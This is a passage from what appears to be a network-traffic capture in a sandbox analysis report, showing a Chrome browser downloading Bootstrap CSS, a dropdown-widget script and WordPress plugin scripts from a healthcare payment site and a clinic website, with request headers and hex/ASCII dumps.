2024-04-24 12:44:54 UTC	16384	IN	Data Raw: 6c 0d 0a 09 09 09 09 6c 69 20 3d 20 5f 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6c 69 22 2c 20 7b 63 6c 61 73 73 4e 61 6d 65 3a 20 5f 73 74 79 6c 65 73 2e 6f 70 74 67 72 6f 75 70 7d 29 3b 0d 0a 09 09 09 09 76 61 72 20 73 70 61 6e 20 3d 20 5f 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 70 61 6e 22 2c 20 7b 63 6c 61 73 73 4e 61 6d 65 3a 20 5f 73 74 79 6c 65 73 2e 6f 70 74 67 72 6f 75 70 54 69 74 6c 65 7d 2c 20 63 75 72 72 65 6e 74 2e 6c 61 62 65 6c 29 3b 0d 0a 09 09 09 09 6c 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 70 61 6e 29 3b 0d 0a 09 09 09 09 76 61 72 20 6f 70 74 43 68 69 6c 64 72 65 6e 20 3d 20 63 75 72 72 65 6e 74 2e 63 68 69 6c 64 72 65 6e 3b 0d 0a 09 09 09 09 76 61 72 20 6f 70 74 75 6c 20 3d 20 5f 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 Data Ascii: lli = _createElement("li", {className: _styles.optgroup});var span = _createElement("span", {className: _styles.optgroupTitle}, current.label);li.appendChild(span);var optChildren = current.children;var optul = _createElement
2024-04-24 12:44:54 UTC	16384	IN	Data Raw: 73 65 3b 0d 0a 09 09 66 69 72 65 45 76 65 6e 74 49 66 45 78 69 73 74 28 22 6b 65 79 75 70 22 29 3b 0d 0a 09 7d 3b 0d 0a 09 76 61 72 20 6f 6e 5f 64 62 6c 63 6c 69 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 76 74 29 20 7b 0d 0a 09 09 69 66 20 28 5f 69 73 44 69 73 61 62 6c 65 64 20 3d 3d 3d 20 74 72 75 65 29 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 09 09 66 69 72 65 45 76 65 6e 74 49 66 45 78 69 73 74 28 22 64 62 6c 63 6c 69 63 6b 22 29 3b 0d 0a 09 7d 3b 0d 0a 09 76 61 72 20 6f 6e 5f 6d 6f 75 73 65 6d 6f 76 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 76 74 29 20 7b 0d 0a 09 09 69 66 20 28 5f 69 73 44 69 73 61 62 6c 65 64 20 3d 3d 3d 20 74 72 75 65 29 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 09 09 66 69 72 65 45 76 65 6e 74 49 66 45 78 69 Data Ascii: se;fireEventIfExist("keyup");};var on_dblclick = function (evt) {if (_isDisabled === true) return false;fireEventIfExist("dblclick");};var on_mousemove = function (evt) {if (_isDisabled === true) return false;fireEventIfExi
2024-04-24 12:44:54 UTC	3326	IN	Data Raw: 65 6d 65 6e 74 28 5f 65 6c 65 6d 65 6e 74 29 5b 70 72 6f 70 5d 20 3d 20 76 61 6c 3b 0d 0a 09 09 09 09 76 61 72 20 63 68 69 6c 64 69 64 20 3d 20 5f 67 65 74 50 6f 73 74 49 44 28 22 70 6f 73 74 43 68 69 6c 64 49 44 22 29 3b 0d 0a 09 09 09 09 24 28 22 23 22 20 2b 20 63 68 69 6c 64 69 64 20 2b 20 22 20 6c 69 2e 22 20 2b 20 5f 73 74 79 6c 65 73 5f 69 2e 6c 69 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 73 74 79 6c 65 73 2e 73 65 6c 65 63 74 65 64 29 3b 0d 0a 09 09 09 09 24 28 24 28 22 23 22 20 2b 20 63 68 69 6c 64 69 64 20 2b 20 22 20 6c 69 2e 22 20 2b 20 5f 73 74 79 6c 65 73 5f 69 2e 6c 69 29 5b 67 65 74 45 6c 65 6d 65 6e 74 28 5f 65 6c 65 6d 65 6e 74 29 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 5d 29 2e 61 64 64 43 6c 61 73 73 28 5f 73 74 79 6c 65 73 2e 73 Data Ascii: ement(_element)[prop] = val;var childid = _getPostID("postChildID");$("#" + childid + " li." + _styles_i.li).removeClass(_styles.selected);$($("#" + childid + " li." + _styles_i.li)[getElement(_element).selectedIndex]).addClass(_styles.s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49963	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:54 UTC	787	OUT	GET /HealowPay/jsp/js/assets/css/bootstrap.min.css HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:54 UTC	1412	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:54 GMT Content-Type: text/css Content-Length: 155850 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"155850-1655710779000" Last-Modified: Mon, 20 Jun 2022 07:39:39 GMT vary: accept-encoding Server:
2024-04-24 12:44:54 UTC	14972	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2f 2a 21 0d 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 35 2e 30 2e 32 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 31 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 31 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0d 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0d 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 73 2d 62 6c 75 65 3a 23 30 64 36 Data Ascii: @charset "UTF-8";/! Bootstrap v5.0.2 (https://getbootstrap.com/) * Copyright 2011-2021 The Bootstrap Authors * Copyright 2011-2021 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */:root{--bs-blue:#0d6
2024-04-24 12:44:54 UTC	16384	IN	Data Raw: 30 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 30 7d 2e 67 2d 6c 67 2d 31 2c 2e 67 78 2d 6c 67 2d 31 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 30 2e 32 35 72 65 6d 7d 2e 67 2d 6c 67 2d 31 2c 2e 67 79 2d 6c 67 2d 31 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 30 2e 32 35 72 65 6d 7d 2e 67 2d 6c 67 2d 32 2c 2e 67 78 2d 6c 67 2d 32 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 30 2e 35 72 65 6d 7d 2e 67 2d 6c 67 2d 32 2c 2e 67 79 2d 6c 67 2d 32 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 30 2e 35 72 65 6d 7d 2e 67 2d 6c 67 2d 33 2c 2e 67 78 2d 6c 67 2d 33 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 78 3a 31 72 65 6d 7d 2e 67 2d 6c 67 2d 33 2c 2e 67 79 2d 6c 67 2d 33 7b 2d 2d 62 73 2d 67 75 74 74 65 72 2d 79 3a 31 72 65 6d 7d 2e 67 2d 6c 67 2d 34 2c 2e 67 78 Data Ascii: 0{--bs-gutter-y:0}.g-lg-1,.gx-lg-1{--bs-gutter-x:0.25rem}.g-lg-1,.gy-lg-1{--bs-gutter-y:0.25rem}.g-lg-2,.gx-lg-2{--bs-gutter-x:0.5rem}.g-lg-2,.gy-lg-2{--bs-gutter-y:0.5rem}.g-lg-3,.gx-lg-3{--bs-gutter-x:1rem}.g-lg-3,.gy-lg-3{--bs-gutter-y:1rem}.g-lg-4,.gx
2024-04-24 12:44:54 UTC	16384	IN	Data Raw: 72 65 6d 3b 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 65 65 32 65 36 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 72 65 6d 7d 2e 66 6f 72 6d 2d 72 61 6e 67 65 3a 3a 2d 6d 6f 7a 2d 72 61 6e 67 65 2d 74 68 75 6d 62 7b 77 69 64 74 68 3a 31 72 65 6d 3b 68 65 69 67 68 74 3a 31 72 65 6d 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 64 36 65 66 64 3b 62 6f 72 64 65 72 3a 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 72 65 6d 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 2e 31 35 73 20 65 61 73 65 2d Data Ascii: rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.form-range::-moz-range-thumb{width:1rem;height:1rem;background-color:#0d6efd;border:0;border-radius:1rem;-moz-transition:background-color .15s ease-
2024-04-24 12:44:54 UTC	16384	IN	Data Raw: 2d 6c 69 67 68 74 2c 2e 62 74 6e 2d 6c 69 67 68 74 3a 66 6f 63 75 73 7b 63 6f 6c 6f 72 3a 23 30 30 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 39 66 61 66 62 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 39 66 61 66 62 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 35 72 65 6d 20 72 67 62 61 28 32 31 31 2c 32 31 32 2c 32 31 33 2c 2e 35 29 7d 2e 62 74 6e 2d 63 68 65 63 6b 3a 61 63 74 69 76 65 2b 2e 62 74 6e 2d 6c 69 67 68 74 2c 2e 62 74 6e 2d 63 68 65 63 6b 3a 63 68 65 63 6b 65 64 2b 2e 62 74 6e 2d 6c 69 67 68 74 2c 2e 62 74 6e 2d 6c 69 67 68 74 2e 61 63 74 69 76 65 2c 2e 62 74 6e 2d 6c 69 67 68 74 3a 61 63 74 69 76 65 2c 2e 73 68 6f 77 3e 2e 62 74 6e 2d 6c 69 67 68 74 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 7b 63 Data Ascii: -light,.btn-light:focus{color:#000;background-color:#f9fafb;border-color:#f9fafb;box-shadow:0 0 0 .25rem rgba(211,212,213,.5)}.btn-check:active+.btn-light,.btn-check:checked+.btn-light,.btn-light.active,.btn-light:active,.show>.btn-light.dropdown-toggle{c
2024-04-24 12:44:54 UTC	16384	IN	Data Raw: 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 65 65 32 65 36 20 23 64 65 65 32 65 36 20 23 66 66 66 7d 2e 6e 61 76 2d 74 61 62 73 20 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 30 7d 2e 6e 61 76 2d 70 69 6c 6c 73 20 2e 6e 61 76 2d 6c 69 6e 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 30 20 30 3b 62 6f 72 64 65 72 3a 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 32 35 72 65 6d 7d 2e 6e 61 76 2d 70 69 6c 6c 73 20 2e 6e 61 76 2d 6c 69 6e 6b 2e 61 63 74 69 76 65 2c 2e 6e 61 76 2d 70 69 6c 6c 73 20 2e 73 68 6f 77 3e 2e 6e 61 76 2d 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 66 Data Ascii: border-color:#dee2e6 #dee2e6 #fff}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{background:0 0;border:0;border-radius:.25rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#f
2024-04-24 12:44:55 UTC	16384	IN	Data Raw: 66 69 6e 69 74 65 20 70 72 6f 67 72 65 73 73 2d 62 61 72 2d 73 74 72 69 70 65 73 7d 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 72 65 64 75 63 65 64 2d 6d 6f 74 69 6f 6e 3a 72 65 64 75 63 65 29 7b 2e 70 72 6f 67 72 65 73 73 2d 62 61 72 2d 61 6e 69 6d 61 74 65 64 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 61 6e 69 6d 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 7d 2e 6c 69 73 74 2d 67 72 6f 75 70 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 32 35 72 65 6d 7d 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 6e 75 6d 62 65 72 65 64 7b 6c 69 73 74 2d 73 Data Ascii: finite progress-bar-stripes}@media (prefers-reduced-motion:reduce){.progress-bar-animated{-webkit-animation:none;animation:none}}.list-group{display:flex;flex-direction:column;padding-left:0;margin-bottom:0;border-radius:.25rem}.list-group-numbered{list-s
2024-04-24 12:44:55 UTC	16384	IN	Data Raw: 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 2e 35 72 65 6d 20 2e 35 72 65 6d 20 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 35 29 7d 2e 62 73 2d 70 6f 70 6f 76 65 72 2d 61 75 74 6f 5b 64 61 74 61 2d 70 6f 70 70 65 72 2d 70 6c 61 63 65 6d 65 6e 74 5e 3d 74 6f 70 5d 3e 2e 70 6f 70 6f 76 65 72 2d 61 72 72 6f 77 3a 3a 61 66 74 65 72 2c 2e 62 73 2d 70 6f 70 6f 76 65 72 2d 74 6f 70 3e 2e 70 6f 70 6f 76 65 72 2d 61 72 72 6f 77 3a 3a 61 66 74 65 72 7b 62 6f 74 74 6f 6d 3a 31 70 78 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 2e 35 72 65 6d 20 2e 35 72 65 6d 20 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 62 73 2d 70 6f 70 6f 76 65 72 2d 61 75 74 6f 5b 64 61 74 61 2d 70 6f 70 70 65 72 2d Data Ascii: ;border-width:.5rem .5rem 0;border-top-color:rgba(0,0,0,.25)}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::after,.bs-popover-top>.popover-arrow::after{bottom:1px;border-width:.5rem .5rem 0;border-top-color:#fff}.bs-popover-auto[data-popper-
2024-04-24 12:44:55 UTC	16384	IN	Data Raw: 61 72 67 69 6e 2d 74 6f 70 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 79 2d 31 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2e 32 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 32 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 79 2d 32 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 79 2d 33 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 79 2d 34 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 Data Ascii: argin-top:0!important;margin-bottom:0!important}.my-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-4{margin-top:1
2024-04-24 12:44:55 UTC	16384	IN	Data Raw: 74 61 6e 74 7d 2e 6f 72 64 65 72 2d 6d 64 2d 31 7b 6f 72 64 65 72 3a 31 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6f 72 64 65 72 2d 6d 64 2d 32 7b 6f 72 64 65 72 3a 32 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6f 72 64 65 72 2d 6d 64 2d 33 7b 6f 72 64 65 72 3a 33 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6f 72 64 65 72 2d 6d 64 2d 34 7b 6f 72 64 65 72 3a 34 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6f 72 64 65 72 2d 6d 64 2d 35 7b 6f 72 64 65 72 3a 35 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6f 72 64 65 72 2d 6d 64 2d 6c 61 73 74 7b 6f 72 64 65 72 3a 36 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 2d 6d 64 2d 30 7b 6d 61 72 67 69 6e 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 2d 6d 64 2d 31 7b 6d 61 72 67 69 6e 3a 2e 32 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 2d 6d 64 2d 32 7b Data Ascii: tant}.order-md-1{order:1!important}.order-md-2{order:2!important}.order-md-3{order:3!important}.order-md-4{order:4!important}.order-md-5{order:5!important}.order-md-last{order:6!important}.m-md-0{margin:0!important}.m-md-1{margin:.25rem!important}.m-md-2{
2024-04-24 12:44:55 UTC	9806	IN	Data Raw: 61 6e 74 7d 2e 70 2d 78 6c 2d 31 7b 70 61 64 64 69 6e 67 3a 2e 32 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 2d 78 6c 2d 32 7b 70 61 64 64 69 6e 67 3a 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 2d 78 6c 2d 33 7b 70 61 64 64 69 6e 67 3a 31 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 2d 78 6c 2d 34 7b 70 61 64 64 69 6e 67 3a 31 2e 35 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 2d 78 6c 2d 35 7b 70 61 64 64 69 6e 67 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 78 2d 78 6c 2d 30 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 78 2d 78 6c 2d 31 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 2e 32 35 72 65 6d 21 69 Data Ascii: ant}.p-xl-1{padding:.25rem!important}.p-xl-2{padding:.5rem!important}.p-xl-3{padding:1rem!important}.p-xl-4{padding:1.5rem!important}.p-xl-5{padding:3rem!important}.px-xl-0{padding-right:0!important;padding-left:0!important}.px-xl-1{padding-right:.25rem!i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49966	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:54 UTC	727	OUT	GET /wp-content/plugins/bt_cost_calculator/cc.main.js HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:54 UTC	430	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:54 GMT Content-Type: application/javascript Content-Length: 33463 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sat, 18 Nov 2023 02:40:41 GMT Vary: Accept-Encoding ETag: "65582429-82b7" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:54 UTC	15954	IN	Data Raw: 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 20 24 20 29 20 7b 0a 09 0a 09 76 61 72 20 74 6f 74 61 6c 3b 0a 09 0a 09 76 61 72 20 69 73 5f 72 74 6c 20 3d 20 66 61 6c 73 65 3b 0a 09 76 61 72 20 72 74 6c 5f 64 69 72 65 63 74 69 6f 6e 20 3d 20 31 3b 0a 09 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 2f 2f 20 46 75 6e 63 74 69 6f 6e 73 20 73 74 61 72 74 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 0a 09 77 69 6e 64 6f 77 2e 62 74 5f 63 63 5f 73 75 62 74 6f 74 61 6c 20 3d 20 27 3b 76 61 72 20 73 65 74 53 75 62 74 6f 74 61 6c 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 69 64 2c 20 76 61 6c 2c 20 69 67 6e 6f 72 65 5f 66 6f 72 6d 61 74 20 29 20 7b 27 20 2b 0a 09 27 69 66 20 28 20 61 72 67 75 6d 65 Data Ascii: 'use strict';(function( $ ) {var total;var is_rtl = false;var rtl_direction = 1;// ---------------// Functions start// ---------------window.bt_cc_subtotal = ';var setSubtotal = function( id, val, ignore_format ) {' +'if ( argume
2024-04-24 12:44:54 UTC	16384	IN	Data Raw: 74 68 69 73 20 29 2e 64 61 74 61 28 20 27 6f 66 66 73 65 74 27 20 29 20 29 3b 0a 09 09 09 09 2f 2f 76 61 72 20 76 61 6c 20 3d 20 62 74 5f 70 61 72 73 65 5f 66 6c 6f 61 74 28 20 24 28 20 74 68 69 73 20 29 2e 73 6c 69 64 65 72 28 20 27 76 61 6c 75 65 27 20 29 20 29 3b 0a 09 09 09 09 76 61 72 20 76 61 6c 20 3d 20 62 74 5f 63 63 5f 67 65 74 5f 73 6c 69 64 65 72 5f 76 61 6c 75 65 20 28 20 24 28 20 74 68 69 73 20 29 20 29 3b 0a 09 09 09 09 76 61 6c 20 3d 20 76 61 6c 20 2a 20 75 6e 69 74 5f 70 72 69 63 65 3b 0a 09 09 09 09 69 66 20 28 20 6d 5f 66 69 72 73 74 20 29 20 7b 0a 09 09 09 09 09 6d 5f 74 6f 74 61 6c 20 3d 20 76 61 6c 3b 0a 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 6d 5f 74 6f 74 61 6c 20 2a 3d 20 76 61 6c 3b 0a 09 09 09 09 7d 0a 09 09 09 09 Data Ascii: this ).data( 'offset' ) );//var val = bt_parse_float( $( this ).slider( 'value' ) );var val = bt_cc_get_slider_value ( $( this ) );val = val * unit_price;if ( m_first ) {m_total = val;} else {m_total *= val;}
2024-04-24 12:44:54 UTC	1125	IN	Data Raw: 69 6e 70 75 74 5b 6e 61 6d 65 3d 62 74 2d 63 63 2d 64 61 74 61 5d 27 20 29 2e 76 61 6c 28 20 71 75 6f 74 65 20 29 3b 0a 0a 09 09 09 7d 29 3b 0a 09 09 09 0a 09 09 09 09 0a 09 09 09 0a 09 09 09 76 61 72 20 74 6f 74 61 6c 20 3d 20 30 3b 0a 09 09 09 74 6f 74 61 6c 20 3d 20 74 6f 74 61 6c 2e 74 6f 46 69 78 65 64 28 20 32 20 29 3b 0a 09 09 09 62 74 5f 71 75 6f 74 65 5f 74 6f 74 61 6c 28 20 63 20 29 3b 0a 09 09 09 62 74 5f 70 61 79 70 61 6c 5f 69 74 65 6d 73 28 20 63 20 29 3b 0a 09 09 7d 29 3b 09 0a 0a 0a 09 09 0a 09 7d 0a 09 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 2f 2f 20 46 75 6e 63 74 69 6f 6e 73 20 65 6e 64 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 09 2f 2f 20 49 6e 69 74 0a 09 0a 09 76 61 72 20 62 74 5f 63 Data Ascii: input[name=bt-cc-data]' ).val( quote );});var total = 0;total = total.toFixed( 2 );bt_quote_total( c );bt_paypal_items( c );});}// ---------------// Functions end// ---------------// Initvar bt_c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49967	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:54 UTC	738	OUT	GET /wp-content/plugins/cookie-notice/js/front.min.js?ver=2.4.16 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
